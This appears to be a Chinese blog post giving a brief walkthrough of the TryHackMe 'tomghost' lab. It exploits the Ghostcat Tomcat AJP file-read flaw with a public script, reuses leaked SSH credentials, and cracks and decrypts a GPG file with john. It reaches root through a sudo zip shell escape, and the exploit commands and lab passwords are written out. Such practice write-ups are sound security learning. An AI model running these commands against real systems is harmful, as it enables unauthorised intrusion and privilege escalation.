我的天空没有太阳,总是黑夜,但并不暗|

gvpn

园龄:2年5个月粉丝:8关注:5

2023-03-11 10:04阅读: 71评论: 0推荐: 0

tomghost

思路:
先使用端口扫描,会发现22,8009,8080

8009的考察点:tomcat ajp协程属性设置导致的文件读取和文件执行。

https://github.com/00theway/Ghostcat-CNVD-2020-10487

读取
python3.9 ajpShooter.py http://10.10.30.130:8080 8009 /WEB-INF/web.xml read

获得ssh登录
skyfuck:8730281lkjlkjdqlksalks
将文件下载到本地
scp skyfuck@10.10.30.130:credential.pgp .

爆破
gpg2john tryhackme.asc > hash.txt

john --wordlist=rockyou.txt hash
alexandru (tryhackme)

gpg解密
gpg --import tryhackme.asc
gpg --decrypt credebtial.pgp
得到
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
登录
sudo提权
https://gtfobins.github.io/gtfobins/zip/#sudo

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'

此时root

回顾:8009这个漏洞,gpg解密

本文作者:gvpn

本文链接:https://www.cnblogs.com/-Lucky-/p/17205351.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   gvpn  阅读(71)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起